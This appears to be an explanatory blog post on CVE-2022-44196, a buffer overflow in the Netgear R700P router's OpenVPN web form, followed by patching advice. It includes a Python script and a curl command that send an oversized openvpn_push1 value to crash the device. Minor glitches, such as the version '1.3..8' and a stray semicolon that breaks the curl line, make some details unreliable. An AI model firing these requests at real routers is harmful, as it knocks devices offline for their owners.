CVE-2022-44196 - Breaking Down the Buffer Overflow in Netgear R700P v1.3..8 (openvpn_push1)

In late 2022, a dangerous vulnerability was discovered in a popular consumer router: the Netgear R700P running firmware version 1.3..8. Identified as CVE-2022-44196, this flaw allows attackers to trigger a classic buffer overflow, specifically through the openvpn_push1 parameter on the router’s web interface. In this post, we’ll keep things super simple, explain what happened, show relevant code snippets, and walk you through how attackers might exploit this bug.

What is CVE-2022-44196?

CVE-2022-44196 is a buffer overflow vulnerability in the Netgear R700P (firmware V1.3..8). Simply put, the router’s web server doesn’t carefully check the length of data sent through the openvpn_push1 field. If you send too much data, it can overwrite parts of the device’s memory, possibly leading to a crash or letting someone run their own code on your router.

Where Is the Flaw?

The weakness lives in the web interface for OpenVPN configuration, accessible typically at http://<router-ip>/cgi-bin/vpn.cgi. There, several configuration parameters can be sent, including openvpn_push1. The vulnerable code looks something like this (note: decompiled, simplified for explanation):

// This is a simplified code snippet
void handle_openvpn_push1_request(char *input) {
    char buffer[256];         // Fixed-size buffer
    strcpy(buffer, input);    // No length check: classic mistake!
    // ...do things with buffer...
}

When you send data (likely via a POST request) containing a value for openvpn_push1, the code just dumps your whole string into a 256-byte buffer — no matter how long it is. If you put in more than 256 bytes, you stomp over memory you shouldn't access.

How Attackers Exploit It

To trigger the overflow, an attacker sends a specially crafted HTTP request to the router’s web server.

Exploit Example: Sending a Malicious Request

Below you'll see a Python snippet that demonstrates sending a long payload via the vulnerable parameter:

import requests

# Replace with your router's actual IP and login credentials
router_ip = '192.168.1.1'
url = f'http://{router_ip}/cgi-bin/vpn.cgi';

headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}
data = {
    'openvpn_push1': 'A' * 300,   # 300 bytes, more than the 256 byte buffer
    'action': 'apply'
}
# Add authentication cookies/headers if your router needs them

response = requests.post(url, headers=headers, data=data)
print(response.status_code)

If the server is vulnerable, the router may crash or reboot.

- More skilled attackers could design the payload so that when copied into memory, it executes their own code (remote code execution).

You can also test this using curl from your terminal

curl -X POST "http://192.168.1.1/cgi-bin/vpn.cgi"; \
     -d "openvpn_push1=$(python3 -c 'print("A"*300)')" \
     -d "action=apply"

Note: You'll have to be authenticated as admin for either snippet to work.

How can you protect yourself?

- Upgrade your firmware! Netgear may have released a patch. Always keep your router updated. Check the official firmware page here.
- Disable remote management and restrict access to your network/admin interface.

References & Links

- NVD CVE-2022-44196 entry
- Original disclosure (PacketStorm)
- Netgear R700P support & firmware downloads

Final Thoughts

The CVE-2022-44196 bug is a shining example of how old mistakes — like not checking string lengths — remain relevant today. If you have a Netgear R700P, update your firmware immediately and always be vigilant for new router security issues!

Let us know if you have questions, want more details, or need help securing your home router!

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 18:52:00 UTC